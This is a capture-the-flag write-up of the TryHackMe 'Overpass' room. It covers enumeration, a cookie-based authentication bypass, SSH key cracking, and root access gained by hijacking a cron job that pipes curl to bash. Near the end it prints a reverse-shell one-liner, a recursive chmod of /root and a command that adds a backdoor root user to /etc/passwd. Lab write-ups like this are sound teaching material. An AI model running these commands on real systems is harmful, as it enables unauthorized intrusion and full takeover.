Contents

Overpass

Updated on 2020-08-16

What happens when some broke CompSci students make a password manager?

Difficulty: Easy

Room: Overpass

Created by: NinjaJc01

nmap -p- -sV -Pn $IP -vv

1
2
3
4
5
🚀 nmap -p- -sV -Pn $IP -vv
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The initial scan shows TCP ports 22 and 80 open. We’ll start enumerating the webpage.


/

/images/overpass/overpass1.png

/aboutus

/images/overpass/about.png

We have what looks like potential usernames. Hey, who made szymex the head of security? That explains why this box is rated easy! 😸️

/downloads/src/overpass.go

/images/overpass/source.png

Looking at the source code (downloads/src/overpass.go) there’s not anything we can enumerate. We do find a build script but more on that later.

/images/overpass/build.png

Although it won’t get us any closer to solving the challenge… I had to give the program a go. It’s not quite the next gopass but I see some potential.

/images/overpass/run.png

I used ffuf to do some basic fuzzing and within seconds we get some results. Let’s check out /admin first. That looks interesting. Given this is an OWASP top 10 based challenge chances are we’ll run into an IDOR, command injection, broken authentication, or something.

🚀 ffuf -c -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.10.246.219/FUZZ -t 100 -fc 401 -v

/images/overpass/ffuf.png

We can see there’s three javascript files being sourced.

/images/overpass/admin_src.png
1
console.log("Hello, World!")

Not much here but that explains why we have Hello World sitting in our console.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

Now we’re talking. Looking at the function login there’s a simple if else statement. Basically, it’s checking if the response is equal to “Incorrect Crentials”. If true, it will display a message saying “Incorrect Credentials”. Otherwise, it will set a cookie named “SessionToken” to the returned statusOrCookie and redirect the user to /admin. Since this is only checking for a cookie named SessionToken let’s just create a cookie and give it a bogus value.

Read more about session management and cookies here: Owasp Cheatsheet

There are many methods to create or edit cookies. I’ll be using firefox’s dev console. There’s more browser extensions to count, curl, etc. Feel free to explore and find something that works for you.

To create a cookie you’ll simply hit the plus icon. The important thing is setting the name and the path. Since there’s nothing validating the cookie you can set the cookie value to whatever you want or leave it empty.

Name: SessionToken

Path: /

/images/overpass/cookie.png

Now that we set our cookie we can reload the page and to redirected to /admin. We’re greeted with an encrypted RSA private key. Based on the message we see it was created for james.

/images/overpass/rsa.png

Since the RSA key is encrypted we’ll use ssh2john and john to crack the hash. I saved the hash as id_rsa.

🚀 /usr/share/john/ssh2john.py id_rsa > id_rsa_hash

🚀 john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash

That didn’t take long. Now we can use the private key and the password we cracked to SSH into the box.

/images/overpass/john.png
1
2
3
4
🚀 chmod 600 id_rsa

🚀 ssh -i id_rsa james@IP

/images/overpass/ssh.png

There’s user.txt. We also see a todo list. Hmm.. something about a build script.

/images/overpass/user.png

As usual let’s upload linpeas on the target. I started a python http server and downloaded linpeas.sh using wget.

Make the linpeas script executable using chmod +x linpeas.sh then finally run linpeas and pipe it to tee to save the output with tee: ./linpeas.sh | tee peas.out

We spot a cronjob that’s trying to download a shell script using curl from overpass.thm then pipes it to bash.

* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

/images/overpass/cronjob.png

So we now know there’s a cronjob running and we know what it does. We can trick curl to download a script we create called buildscript.sh from our web server. In order for this to work we’ll need overpass.thm to resolve to our ip address. Good thing linpeas told us we can write to /etc/hosts/!

/images/overpass/hosts.png

vim /etc/hosts. Add your THM IP then comment our or delete 127.0.0.1 overpass.thm.

/images/overpass/etc_hosts.png

Now that we have overpass.thm resolving to our IP address we can create the directory structure to mimic the URL curl is requesting.

Create the directory structure and use vim to create the fake buildscript.sh script

Example structure:

mkdir -p downloads/src && vim buildscript.sh

/images/overpass/pwd.png

Your fake buildscript.sh can do really whatever you want as it’s being piped to bash. Here’s an example to recursively chmod the root directory and create a reverse shell. Obviously this is overkill but it should give you an idea of what you could do. My personal favorite one liner to create another root user: echo "root2:`openssl passwd toor`:0:0:root:/root:/bin/bash" >> /etc/passwd

1
2
chmod -R 777 /root/;
bash -i >& /dev/tcp/your_thm_ip/some_port_to_listen_on 0>&1;

We have our fake script primed and ready. Spin up a python http server on port 80 in the /overpass directory. The directory structure matters!

Start a netcat listener and catch a root shell.

rlwrap nc - lvnp 9001

/images/overpass/root.png

We can also confirm chmod -R 777 /root worked.

/images/overpass/ls.png

This was a nice easy room from NinjaJc01 that touches on a lot of fundamentals. Such as making sure to review any source code when enumerating. I look forward to doing the next box he develops. Wonderland 2? If you have any questions feel free to @ me in the THM discord. Thanks for the room James.